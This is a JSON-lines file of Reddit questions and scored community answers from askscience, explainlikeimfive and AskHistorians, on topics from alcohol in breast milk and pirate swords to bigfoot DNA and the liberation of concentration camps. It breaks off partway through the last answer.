{"q_id": "15347w", "title": "How alcoholic can breast milk become?", "selftext": "I know that while breast feeding, mothers are not supposed to feed their babies after they drink. Let's suppose a women gets hammered. Let's say her BAL is .3 (for arguments sake). I know that is very high (upper limit high) but I was curious about how much of that can/does make it into breast milk. Is it the actual EtOH that gets in to the milk, or is it a metabolite of it that is bad for the baby?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/15347w/how_alcoholic_can_breast_milk_become/", "answers": {"a_id": ["c7iuybx", "c7ix1ml", "c7j3lkd"], "score": [6, 10, 2], "text": ["Theoretically, all of it. ETOH is a very small molecule and is able to pass through most membranes with ease. So, given enough time, the ETOH concentration inside the breast milk will be the same as the blood. And as you clear it, the etoh will leak back out of the breast milk. ", "I think what the OP is getting at is that even a ridiculously drunk mother still only has breast milk that is .3% alcohol by volume.  Now say the mom only has a few drinks and has a BAC of say .05%.  Seems like breast milk with 100x less potency then beer is hardly worth worrying about feeding to even an infant.\nI tried this line of reasoning once or twice with my wife on the rare occasions we actually went out...it did not go over well.", "_URL_0_\n\nThis is a big enough problem that we have test strips for milk now. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.toysrus.com/product/index.jsp?productId=3056092"]]}
{"q_id": "5tovz3", "title": "why did so many pirates use swords when firearms existed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5tovz3/eli5_why_did_so_many_pirates_use_swords_when/", "answers": {"a_id": ["ddnxkl2", "ddnxkp9", "ddnxmjd", "ddnxp8c", "ddnxtzb", "ddnxxyn", "ddo2sxb", "ddo8yn5", "ddoal5r"], "score": [5, 13, 4, 2, 3, 38, 5, 2, 2], "text": ["Early guns were notoriously inaccurate even when the weren't being fired at a moving target from a swaying ship.\n\nPlus, if the gun powder got wet, it was useless, and they also took forever to reload.", "Don't base your ideas of how pirates worked based on movies about pirates. Mostly that image is just fantasy. At the same time there was time periods where guns and swords coexisted, largely because guns were expensive and unreliable when they were new. You weren't going to threaten many people with a single shot rifle that took 5 minutes to reload with a bunch of specialty black powder you could barely buy anywhere. ", "The firearms of the time were notoriously unreliable even in ideal conditions. In damp conditions like one finds at sea they were little more than clubs, and poor ones at that. ", "They did use firearms usually a lot of them. Most weapons at the time where smooth barrel flintlock weapons. Blunderbuss where very popular weapon along with flintlock pistols. The problem with these weapons is that even the most skilled navy men of the time could only get a shot of every couple seconds. A sword always has ammo and after you fire off your first volley your gonna want something to prevent your opponent from rushing you down.", "The firearms at the time were single shot. Some pirates were reported to have multiple pistols loaded and strapped to the body, so they could fire, discard then grab the next one. Plus the firearms weren't as accurate, so trying to shoot from your boat to theirs on a windy sea was difficult. These pirates were used to and in the case of ex sailors sometimes trained with swords, so to continue using them and the firearms as accessories seemed to be the way to go.\n\nOh, and they had huge cannons, big enough firearms that were a mainstay of naval battles.", "Firearms existed, but were hard to reload. What you would likely have at the time period you are referring to is a flint lock pistol. It took about 90 seconds to reload, could not hit a person across the length of a ships deck, could not be wet, were not powerful enough to reliably kill someone, might not go off at all and blinded you first with a flash and then with a huge cloud of smoke. So if you were able to get a shot off you would likely be charged and had to find another weapon within seconds. Some people carried multiple pistols which allowed them to fire multiple rounds before reloading. However you would have to rely on close combat weapons that did not have any of the problems of a gun. Even as guns improved soldiers were still using knifes to fight in WWI. However in WWII guns and tactics had changed so soldiers rarely relied on their knife, although they were used in some situations where guns were inferior.", "Fighting on a ship would be in very close quarters. It would be fast and chaotic. Guns at the time were inaccurate, and took a long time to reload. So even though they did carry pistols, you had only one shot and then the thing was basically a club. (which was part of the design. That's why they have the heavy, steel plated pommels)", "Because swords were much more efficient. Back in the golden age of piracy, pistols fired one shot, took more than a minute to reload, and were incredibly unreliable. Imagine trying to use one of those in the middle of a battle. You might be able to hit one enemy, which might not even kill them, before you'd get stabbed trying to reload. ", "It's really very simple, during a boarding action, the first salvo would be with guns, pistols, long arms and etcetera. Once people start getting closer people wouldn't have nearly enough time to reload a single-use barrel-loading firearm, much more efficient to use a blunt instrument or better yet, a bladed weapon. Just as common among navies of the time were axes and \"boarding\" pikes."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "mzuuh", "title": "How common are confirmed cases of people becoming ill/dying as a result of eating food that fell on the ground? What are the common illnesses?", "selftext": "I dropped my bagel on the floor today but ate it anyways (You have to die of something, right?) and thought about what I might catch. \n\nIs it possible to isolate cases of \"You ate dirt, and now have X\", or is it usually just lumped together with \"catching\" something?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mzuuh/how_common_are_confirmed_cases_of_people_becoming/", "answers": {"a_id": ["c356hcm", "c356hcm"], "score": [4, 4], "text": ["If you think about it your food is contacting a dirty surface, okay that makes it less clean and adds 'filth'.  Now if you were to due from that then your food had to of contacted a really acutely toxic compound, or it had to contact a microbe that is able to make a human extremely ill.  Assuming you are not walking around a biohazard level 2 or 3 facility you will generally be safe.  \n\nIs it all that great for you?  Not really, but is it likely to kill you?  I doubt it.  There are things out there that could make you really ill if they touched your food, but I do not think that your food is likely to come into contact with an acutely toxic compound.  ", "If you think about it your food is contacting a dirty surface, okay that makes it less clean and adds 'filth'.  Now if you were to due from that then your food had to of contacted a really acutely toxic compound, or it had to contact a microbe that is able to make a human extremely ill.  Assuming you are not walking around a biohazard level 2 or 3 facility you will generally be safe.  \n\nIs it all that great for you?  Not really, but is it likely to kill you?  I doubt it.  There are things out there that could make you really ill if they touched your food, but I do not think that your food is likely to come into contact with an acutely toxic compound.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "j5jsd", "title": "Is there any possible reason for my eyesight to seemingly improve overnight?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/j5jsd/is_there_any_possible_reason_for_my_eyesight_to/", "answers": {"a_id": ["c29bryq", "c29bsw5", "c29c9if", "c29chxf", "c29bryq", "c29bsw5", "c29c9if", "c29chxf"], "score": [2, 10, 16, 8, 2, 10, 16, 8], "text": ["My eyesight is always better shortly after I wake up. Quickly goes back to normal.\n\nOr are you talking about a more permanent change? ", "It could be a bunch of stuff, so go to a doctor.  One thing that changes your vision from day to day, and sometimes hour to hour is large and unnatural fluctuations in blood glucose levels.  That would mean some form of diabetes.  What you're describing sounds like what they experience, but who knows.  You need to have a glucose tolerance test to find out, or if you just want to see if your glucose is running high, you can go get a test at the drug store.  Go see a doctor.", "This has gone into medical advice and, judging from comments, OP is understanding the situation wrongly, getting self-reassured that things are ok, instead of visiting the doctor...", "*Any* change in vision, good or bad, needs to be evaluated by a physician asap. Seriously. ", "My eyesight is always better shortly after I wake up. Quickly goes back to normal.\n\nOr are you talking about a more permanent change? ", "It could be a bunch of stuff, so go to a doctor.  One thing that changes your vision from day to day, and sometimes hour to hour is large and unnatural fluctuations in blood glucose levels.  That would mean some form of diabetes.  What you're describing sounds like what they experience, but who knows.  You need to have a glucose tolerance test to find out, or if you just want to see if your glucose is running high, you can go get a test at the drug store.  Go see a doctor.", "This has gone into medical advice and, judging from comments, OP is understanding the situation wrongly, getting self-reassured that things are ok, instead of visiting the doctor...", "*Any* change in vision, good or bad, needs to be evaluated by a physician asap. Seriously. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], []]}
{"q_id": "4kfzhs", "title": "if i order a dominoes pizza online, is that process tracker actually responding to any kind of actual status changes registered or more of just a generic timer that plays out regardless?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4kfzhs/eli5_if_i_order_a_dominoes_pizza_online_is_that/", "answers": {"a_id": ["d3emtd4", "d3emuz3", "d3en9q4"], "score": [9, 7, 2], "text": ["I have a friend who works at Dominos, he says the tracker is genuine, they have to sign off when every step is completed.\n\nBTW, if you haven't had their pizza with the garlic Parmesan sauce, you haven't been living up to your Dominos potential.", "It is actually pretty accurate if used correctly. I was a manager for over a year. However, Dominos are required to get a pizza in the oven in under two minutes and it effects the stats which corporate does see, so a lot of times they will cheat the system by clearing your pizza off their screen before they actually make it. By clearing the pizza of the screen it moves the pizza to the next step from \"makeline\" to \"oven\" when it may not actually be in there yet. ", "Dominos seems to be accurate although im pretty sure papa johns is just on a timer since one time my pizza arrived 10 mins after it said id apparantly recieved it, and another time they delivered it when the site said it was still in the oven."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2sn2v9", "title": "how come it's so hard to change what language you read numbers in?", "selftext": "Even when reading or speaking English I find I still lapse into my native language (Chinese) when I see a number.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2sn2v9/eli5how_come_its_so_hard_to_change_what_language/", "answers": {"a_id": ["cnr1pbc", "cnr3tlf"], "score": [2, 4], "text": ["I'm not a native english speaker, but I went to english-speaking schools for six years in middle and high school and I'm currently in my third year at university in the UK. Whenever I see numbers inside text, I read them in the same language as the surrounding text without even thinking about it. When I'm doing math, the numbers are usually in english, unless I'm talking about it with someone in my native tongue.\n\nYou'll probably start naturally saying and reading the numbers in english after a few years.", "My native language is Danish, but I don't experience this when reading English, I will read numbers in English if the text is in English and in Danish if the text is in Danish.\n\nEven in German which is a language I am not at all fluent in, I can only barely understand the gist of something if I read it, but I will still read the numbers in German if I come across them so long as I know the German word(s) for that number.\n\nI don't know any Chinese, it's possible the language structure is different when it comes to numbers, but I know nothing about that. I can't say this is something I have experienced past the very early stages of learning the foreign words for numbers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "20mrmn", "title": "when i scratch a cat or dog's \"sweet spot,\" am i tickling them or relieving an itch that they weren't able to scratch?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/20mrmn/eli5_when_i_scratch_a_cat_or_dogs_sweet_spot_am_i/", "answers": {"a_id": ["cg4sabl", "cg4sdot", "cg59a5k", "cg5c1nn", "cg5dg91", "cg5g6iq"], "score": [25, 1202, 2, 3, 2, 2], "text": ["It's just a reflex, similar to the human leg kick reflex that occurs when a doctor hits your knee with that rubber hammer thing. ", "Simple answer: None of your choices are correct, OP. It is a reflex that they cannot prevent.\n\n\nNon-ELI5 answer: It is an somatic reflex when dogs move their foot when scratching their bellies.\n\nSimilar for cats when you scratch them on their back right at the base of their tail: somatic reflex. \n\nHere is a scholarly paper regarding these phenomena:\n\n_URL_0_\n\n", "What decides where the  dogs or cats like soft spots?", "It's a social instinct. The same way grooming is for apes.\nIt makes them feel good, so they seek out other members of their social group to indulge with. Sometimes it's places they can reach, but usually they prefer someone else to do it, in a way it's like tickling yourself.", "You mean like this?\n\n_URL_0_", "As long as I'm scratching my cat he has to lick something. I'm pretty sure it's involuntary, but he seems to enjoy it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.mhhe.com/sem/promo/appbio/saladin3e/sample_ch13.pdf"], [], [], ["https://www.youtube.com/watch?v=Vc9F_C5imRw"], []]}
{"q_id": "47k84f", "title": "what happens when a ski-lift cable snaps?", "selftext": "i'm on ski-vacation, and since i was young i wonder what would happen when a ski-lift cable breaks/snaps.\n", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/47k84f/eli5_what_happens_when_a_skilift_cable_snaps/", "answers": {"a_id": ["d0dhj4z", "d0djcz6", "d0djy6a", "d0dk2v1", "d0dkdl3"], "score": [2, 4, 2, 2, 3], "text": ["People die. \n\nSeriously though, the cars all fall down and people will get hurt, a great deal of work goes into making sure these cables do not break. ", "[here's an example where a cable was cut by a low flying jet](_URL_0_ ) ", "Nothing.\n\nMost lift cables have redundant cables so if the main cable snaps, the redundant cables hold the weight. Except that since you are down one cable, the whole system comes to a halt and people have to be rescued because it is too dangerous to keep the lift moving without the redundant cables.\n\nSure, if all cables snap (extremely rare), then you fall and might die, like the example from anomalous_cowherd ... though that was caused by a jet, so shouldn't count.", "There are a lot of fail-safes involved, so nothing would likely happen other than the lift stopping and a long wait to get down. \n\nI saw a video one time of an older ski lift being pulled to it's max without any of the modern safeties as part of an experiment. When the cable let go there was destruction everywhere. ", "This is what happens when the brake fails: _URL_0_\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Cavalese_cable_car_disaster_\\(1998\\)"], [], [], ["https://www.youtube.com/watch?v=FwPP4i7ENvQ"]]}
{"q_id": "3am8yg", "title": "smartphones are getting higher resolution than some tv and computer screens. why don't we just merge those cheap smartphone screens into a huge and super high resolution screen ?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3am8yg/eli5_smartphones_are_getting_higher_resolution/", "answers": {"a_id": ["csdwr5d", "csdwr7w", "cse1lvo"], "score": [14, 10, 3], "text": ["You could, but it'd be incredibly expensive and would need a monstrous amount of cables or just an insanely big one to send video to it. It'd be pretty impractical for video as taking enough average smart phone screens to make an average sized TV would give you a pixel density bigger than most feature films are edited in. You could use it with a computer, but you'd need a monster graphics processor to be able to render anything to the screen", "Graphics power, brightness, and excessive resolution.\n\nIf you're going to have a high resolution, you need to have the processing power to drive all of those pixels (for computers) or the power to decode video at that resolution / scale to that resolution for televisions.  Your smart phone has its own graphics processor to drive the screen, and you'd need the equivalent of one processor for each screen \"subunit\" of smart phone size.\n\nSecond, pixels need to be bright enough to be seen at a sufficient viewing distance.  Smaller pixels let out less light, so the per-pixel brightness is lower, meaning you need to be closer to better differentiate individual pixels.\n\nAnd speaking of differentiating individual pixels, the human eye can only see between 60-120 line pairs per degree, meaning that beyond a specific viewing distance for a specific screen size, the resolution increase no longer matters.  If you're familiar with the concept of a \"retina\" display, that's a marketing term indicating that at a normal viewing distance, the screen resolution is higher than how many pixels you can differentiate.", "How cheap do you believe that these cheap smartphone screens with resolutions higher than TVs are?  (Including the electronics to run them)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "exx95z", "title": "What is the origin of white supremacist obsession with Nordic peoples?", "selftext": "One thing that I have observed for decades is that American white supremacists and Nazis were completely obsessed with the idea that Nordic and northern European peoples were the master race. I know that this belief started somewhere in the 19th century. But what exactly is the origin of it, why did it get rooted so deeply in their mindset, and why do they believe that blond nords are the master race? Even some people who aren't Nordic.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/exx95z/what_is_the_origin_of_white_supremacist_obsession/", "answers": {"a_id": ["fgi5u32"], "score": [2], "text": ["/u/killfile has previously answered [Why was being Aryan such a big deal for the Germans?](_URL_1_) as a follow-up to a question about the swastika.\n\n/u/jan_van_bergen has previously written about [the Nazi attachment to the word 'Aryan'](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/5w5yki/why_did_hitler_specifically_chose_to_call_his/", "https://www.reddit.com/r/AskHistorians/comments/1re1hy/why_did_the_nazis_pick_the_swastika_as_the_symbol/cdml1jo/"]]}
{"q_id": "aysz3y", "title": "Why is acetone considered a non-polar solvent?", "selftext": "As far as I know, acetone is quite polar. The carbon-oxygen double bond has significant dipole moment, and the methyl groups on either side of the carbonyl group only add more polarity due to their electron releasing effect.\n\nAm I wrong somewhere? Or is it just the best \"less polar\" solvent which is commercially available? ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/aysz3y/why_is_acetone_considered_a_nonpolar_solvent/", "answers": {"a_id": ["ei46xfy"], "score": [5], "text": [" >  Or is it just the best \"less polar\" solvent which is commercially available?\n\nThis, I think.  Polarity isn't binary, and acetone is enough less polar than water for many purposes, while being cheaper and easier to work with than those still less polar.\n\n[_URL_1_](_URL_1_)\n\n[_URL_0_](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://murov.info/orgsolvents.htm#TABLE%202", "http://macro.lsu.edu/howto/solvents/polarity%20index.htm"]]}
{"q_id": "6w5pm6", "title": "why do some jobs allow you to accumulate sick hours, but penalize you for taking them?", "selftext": "For example most jobs will allow you to accumulate sick hours which can be taken as days off when sick, however if you take a certain number of accumulated sick days off when sick, you can be fired or put on a probation. (Usually the number is 6, though you accumulate much more than six days worth of sick time in a year)", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6w5pm6/eli5_why_do_some_jobs_allow_you_to_accumulate/", "answers": {"a_id": ["dm5hrkv", "dm5i4ik"], "score": [2, 17], "text": ["Can you describe what you mean by penalizing you?", "You work for a shitty company, that is not the norm. You are allowed to take any and all of your time without recourse at any company I have ever worked for. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "22qj7w", "title": "Are there any worthwhile historical parallels between Germany and Poland (1939)  &  Russia and Ukraine (2014)?", "selftext": "I have a great uncle who insists that this is exactly what it was like before Germany invaded Poland and that he can't believe that all the signs are there and nobody is noticing, et cetera. Can somebody shed some light on this big claim?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/22qj7w/are_there_any_worthwhile_historical_parallels/", "answers": {"a_id": ["cgpes0f"], "score": [3], "text": ["I would think he means to say that there is a parallel between Germany and *Austria*  &  Russia and Ukraine. The Germans 'annexed' (the term in German is *Anschluss*, which means 'connection' - it's the word used to talk about your internet connection today) Austria in 1938 under the guise of 'protecting German-speaking peoples'. Your uncle is probably trying to draw his own connection between this and the Russian 'annexation' of Ukraine under the guise of 'protecting ethnic Russians'. \n\nIt is an admittedly clear similarity, but it is unclear what your uncle believes it is a 'sign' of. Presumably he thinks it is a precursor to some sort of Russian world-takeover scheme, as many people retroactively see the Anschluss? As this is a history subreddit and not a political one, I will refrain from speculating as to the plausibility of that. However, I will add that just because one country decides (even illegally) to annex (or invade) another does not mean that it is attempting to start a world war. Many countries have done this throughout history with no such consequences (including the United States - see, the Mexican-American War and the Spanish-American War)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2iafqd", "title": "How do you study microbes that don't respond to lab cultures?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2iafqd/how_do_you_study_microbes_that_dont_respond_to/", "answers": {"a_id": ["cl0cg2f", "cl0lp9p"], "score": [63, 6], "text": ["It's really difficult! For those few brave souls who do venture into this line of work (not me), there are a few options.\n\n* Some people decide that they will work on only a part of the non-culturable organism, rather than working with the whole organism itself. For example, they might decide to work on a particular protein that their organism makes. The major advantage to this approach is that they can express that protein in a different, more tractable organism -- *E. coli* is a popular choice -- which removes the worries about being able to culture their bug. Then, they can purify their protein of interest and find out all sort of interesting biochemical things about it.\n\nIf you're thinking that this sounds like sort of a contrived, artificial system, and that you might lose valuable information by taking the protein out of the context of the rest of the bacterium: congratulations! You are not a biochemist. (Joking. Mostly.) Let's move on to another option:\n\n* In many cases, like when organisms are unculturable, or when they are really dangerous to work with, or when they grow really slowly, people choose to spend their time working on closely-related species that are more convenient for laboratory work. For example, many labs working on the tuberculosis bacterium *Mycobacterium tuberculosis* (colloquially: \"Mtb\") actually do many experiments in its nonpathogenic quicker-growing cousin [*Mycobacterium smegmatis*](_URL_3_) (charmingly abbreviated \"smeg\"). Often, these species are similar enough that you can learn valuable information about one by studying the other. In some cases where the species differ from each other in important ways, we can genetically manipulate the \"model\" organism to more closely resemble our microbe of interest. For example: rather than studying a purified form of your favorite protein that you expressed in *E. coli*, you might choose instead to stick that protein into a related microbe and study how it functions there.\n\nBut what if you are not fortunate enough to have a closely-related microbe that you can culture easily? Well, there's always the just-try-harder approach to culturing microbes:\n\n* Some bugs are not easily culturable, but that doesn't mean that you flat-out can't do it. For example, some gut bacteria are what we call [strict anaerobes](_URL_0_), which means that they are killed by atmospheric levels of oxygen. These are a pain to work with, but it actually is possible; scientists have developed an [array of technologies](_URL_2_) that allow us to grow these bugs.\n\n* Other organisms can't be cultured in artificial media, but you can grow them if you provide them with a biological host. For example, the [bacterium that causes chlamydia](_URL_5_) will only grow inside of cells. This is annoying and makes it difficult to work with, but you can actually grow it in the laboratory as long as you're willing to maintain cultures of *C. trachomatis*-infected cells.\n\n* To take this one step further, the bacterium responsible for leprosy, [*Mycobacterium leprae*](_URL_4_), can only be grown successfully in [nine-banded armadillos](_URL_1_) (or, somewhat less successfully, in the footpads of mice), and even so it takes many months before you can get enough bacteria to do an experiment with.\n\nAnd finally, maybe the most important answer of all:\n\n* You don't.  If you look in the literature, you'll find that microbial work is heavily skewed towards culturable organisms, just because it is SO. MUCH. EASIER. It's unfortunate, but it's one of the many reasons why research on different microbes does not always occur in proportion to their importance to human health.", "Great question.  What you are describing is the Great Plate Count Anomaly problem.  It isn't necessarily that they are impossible to culture but rather you have to find that special combination of conditions which enable them to grow.  This can go from almost impossible to difficult.  As an example we had numerous strains of Clostridium obtained from ATCC.  One of them for whatever reason was discovered to need L-rhamnose (a special sugar that can be found in your intestines) to grow and the product sheet specified this.  I grew them all in the media without rhamnose first to see if it was really needed.  Sure enough that strain didn't grow.  I added rhamnose to the anaerobic broth and cultured it again and it grew like crazy.  If you were isolating bacteria and you didn't have rhamnose in your isolation media you would never find that strain.  The same thing repeats over and over and you never know what signal or temp or atmosphere or co-culture organism, etc. you need to encourage your \"unculturable\" organism to grow.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Obligate_anaerobe", "http://dmm.biologists.org/content/6/1/19.full", "http://en.wikipedia.org/wiki/Gas-pak", "http://en.wikipedia.org/wiki/Mycobacterium_smegmatis", "http://en.wikipedia.org/wiki/Mycobacterium_leprae", "http://en.wikipedia.org/wiki/Chlamydia_trachomatis"], ["http://microbiologybytes.wordpress.com/2013/09/17/great-plate-count-anomaly/"]]}
{"q_id": "3gny6r", "title": "how long would the animal food supply last if humanity had to resort to hunting?", "selftext": "My redneck friends all proudly claim that they'd be able to survive off of their hunting skills to feed themselves if society fell apart. I figure that is would give them food for just a few days before everything in the area is wiped out. Is there any measure of how much wildlife is actually out there and how quickly we'd eat our way through it if we all had to go back to hunting for our food?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3gny6r/eli5_how_long_would_the_animal_food_supply_last/", "answers": {"a_id": ["ctzuhqd", "ctzuipc"], "score": [3, 3], "text": ["I know quite a few people who hunt, and most only take one to three deer a season, and maybe a bear if they can get the permit. That meat usually lasts them most of the year if they buy a little chicken to supplement it and add some variety. Could a town of 50000 people hunt sustainably? Probably not, but most people would get by just fine.", "I don't have an answer, but I have a couple of considerations.\n\nHow many people would be able to kill their own food. Many people who are too unhealthy (obese, elderly, disabled, etc.) to procure their own food and would still have to rely on others to get it. Also many people would be of the mindset that they cannot kill to survive; some (most?) Of them would change their mind after a couple days, but not all of them.\n\nThen you've got to consider how many people have access to wild game, whether or not they could actually kill it. People living in the middle of New York City, for example, without transportation very likely wouldn't be able to get outside of the city where there is more wildlife."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "91975o", "title": "How do relativistic effects affect planetary orbits?", "selftext": "I imagine its just some tiny little correction, but I'm curious about order of magnitude how large that correction is and qualitatively what its effects are.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/91975o/how_do_relativistic_effects_affect_planetary/", "answers": {"a_id": ["e2wdynu", "e2wea5j"], "score": [35, 10], "text": ["The only planet whose orbit is noticeably affected by relativistic effects is Mercury. Mercury's orbit precesses around the sun, to a degree slightly larger than predicted by classical Newtonian gravitation. I've seen qualitative explanations of how relativity causes the extra precession, but most of them are misleading imo and what it comes down to is the relativistic equations predict the observed precession.", "This is probably an incomplete answer but one of the main visible effects in the orbits is the change of the [Precession](_URL_0_) of planetary orbits. This effect in mercury was an important clue that Newtonian gravity was missing something.\n\nAnother effect is that the orbits are not completely stable and decay over time. For the orbit of the Earth it won't really matter since the decay is very slow compared to the lifetime of the sun (IIRC). But it is very important for very massive objects (like black holes) orbiting close to each other. In this case the decay is much faster and the objects eventually collide (this is where LIGO detected gravitational waves from. Again, IIRC).\n\nHope it helped."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://upload.wikimedia.org/wikipedia/commons/8/89/Precessing_Kepler_orbit_280frames_e0.6_smaller.gif"]]}
{"q_id": "13yhqg", "title": "/r/AskScience, Can you tell me why this article about Bigfoot being real is bullshit? Their talk about Nuclear DNA and mitochondrial DNA confuses me.", "selftext": "Here is [the article](_URL_0_).\n\nSorry, for wasting your time with what  is probably nonsense.  I mean, where did they even get these DNA samples?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/13yhqg/raskscience_can_you_tell_me_why_this_article/", "answers": {"a_id": ["c78ae41", "c78atpr", "c78b7hz", "c78bg3j", "c78dlpn", "c78k43x"], "score": [22, 13, 39, 5, 3, 3], "text": [" > \u201cHuman DNA plus some anomalies or unknowns does not equal an impossible human-ape hybrid,\u201d Yale neurologist Dr. Steven Novella said on NeuroLogica Blog. \u201dIt equals human DNA plus some anomalies.\u201d\n\n", "It's probably bullshit because they've refused to open their findings up to peer-review.  If it was based in solid science there would be no reason to do that.", "It is almost certainly bullshit. From the sound of it, they have a bunch of \"putative bigfoot hair\" samples, and when they sequenced them, they got a mixture of human DNA and some \"unknown\" DNA. \n\nNo one's released any data yet (surprise!). All they've done is put out press releases about how their study is \"currently under peer review\", which is the line that gets people to pay attention to them without them having done anything verifiable other than write a few paragraphs.\n\nIf they really have sequenced something and found a mixture of human DNA with something else they can't identify, then the most likely explanation is that they either some of the hairs they sampled were actually human, while some of the others weren't, or that they simply managed to contaminate their sample in the process of sequencing.\n\nAlso, while we're on the topic of Bigfoot, and just for kicks, I'll draw your attention to [this paper](_URL_0_), which uses ecological niche modeling (ENM) to \"predict the ecological/geographic distribution of Bigfoot\". The way ENM works (note, I've never done it myself, but I understand the basic idea), is that you put in a list of recorded locations that a species is known to be located (in this case reported bigfoot sightings, with GPS coordinates), along with measurements of important ecological variables (rainfall, temperatures, soil type, etc.) for all those locations, as well as other locations where the are not necessarily recorded observations. \n\nThe idea is that, if species are adapted to their environments, then some environmental variables should correlate strongly with species presence, and you might be able to extrapolate the full range of a given species from the limited observations you have. It's commonly used in predicting shifts in a given species range in response to climate change. You use a climate model to forecast what the environment might be like in 100 years, and then you use you ENM to predict the new range of that species, using the predicted environmental variables from the climate model. The very general summary is that lots of things are predicted to move north, or to higher elevation (as would be expected).\n\nAnyways, what the authors of that paper did was use reported Bigfoot sightings as their observational data, and showed that the model pretty much gave Bigfoot's range to be the same as that of the black bear, suggesting that many reported Bigfoot sightings are actually just a case of people mistaking a bear for a Bigfoot.", "Mitochondrial DNA (mtDNA) is only inherited from the mother. So you have the same mtDNA as your mom, and her mom, but different mtDNA than your father. Nuclear DNA (nuDNA) is a 50/50 combination from your mother and father. So as far as what is claimed, that a human woman mated with an unknown primate, it could be possible, although likely bullshit.", "This paragraph says it all:\n\"Obviously, there are many open questions about the study. It has not yet been peer reviewed and published in a scientific journal, meaning that the pure science behind the analysis is not yet known.\"", "[Biologist PZ Myers thinks](_URL_0_)...\n\n >   it\u2019s the result of sloppy lab work and high levels of contamination, and a complete lack of discrimination on the part of the investigators. No details have been released yet, but I imagine that what they\u2019re sequencing are from hair samples turned in by Bigfoot investigators: dirty, grimy hair samples collected by a mix of charlatans and naive, deluded hunters. I wonder if there are raccoon and possum genes in their sequences..."]}, "title_urls": [], "selftext_urls": ["http://news.nationalpost.com/2012/11/28/bigfoot-real-and-the-result-of-human-women-mating-with-an-unknown-hominin-claims-u-s-study/"], "answers_urls": [[], [], ["http://onlinelibrary.wiley.com/doi/10.1111/j.1365-2699.2009.02152.x/full"], [], [], ["http://freethoughtblogs.com/pharyngula/2012/11/28/what-i-really-want-to-see-is-the-dna-sequence-of-an-alien-grey/"]]}
{"q_id": "3ez4mz", "title": "There must have been anti-semitic soldiers who participated in liberating the concentration camps at the end of World War II. Did any of them write about their feelings toward Jews changing as a result of this experience?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3ez4mz/there_must_have_been_antisemitic_soldiers_who/", "answers": {"a_id": ["ctkdvao"], "score": [302], "text": ["I don't know if this is up to this sub's standards or not, but my wife's not-yet-completed dissertation talks about this, and she has done a great deal of primary source research on it - mainly reading letters GIs wrote home. Apologies to the mods if I'm just making more work for them.\n\nThe short answer is that, for the soldiers who actually liberated the camps, it seems to have made a good deal of difference. The letters she has been able to read are pretty universal in expressing horror/shock/outrage/disgust/sympathy, that sort of thing, when from soldiers that had (in earlier letters) said some pretty anti-semitic stuff.\n\nThere are exceptions, of course, and one of the biggest was none other than General George Patton. The man's attitudes towards Jews were downright vile, and since he was in charge of a large area, he was ultimately responsible for the care of a huge number of Jewish DPs -  Displaced Persons, basically refugees who had been forced from their homes. The Jews were are a relatively small percentage of them, but the ones in most desperate need of care, and the ones that were almost impossible to repatriate since they had no home to go to.\n\nPatton kept the survivors in terrible conditions, often in the very barracks they were \"liberated\" from and under armed guard. It took a specially commissioned report from a representative named Harrison appointed personally by Truman to get their conditions changed - the report basically concluded \"we're treating them more or less how the Nazis treated them, except we're not actively murdering them.\" The report got conditions vastly improved.\n\nTo say a bit more about GIs, anti-semitism re-arose among them after the war when those who had done the liberating were sent home and fresh troops brought in. These new troops often saw Jews as being uninterested in work, even to improve their own living conditions (there was a belief among survivors that they'd did enough work already, the Germans should be put to work for them), living in terribly unhygienic conditions (their sense of hygiene was a bit out of whack after the camps), and showing a general sense of entitlement as if the world owed them (which is really kinda fair). The liberating troops had an understanding of what kind of trauma they'd been through, and were fairly 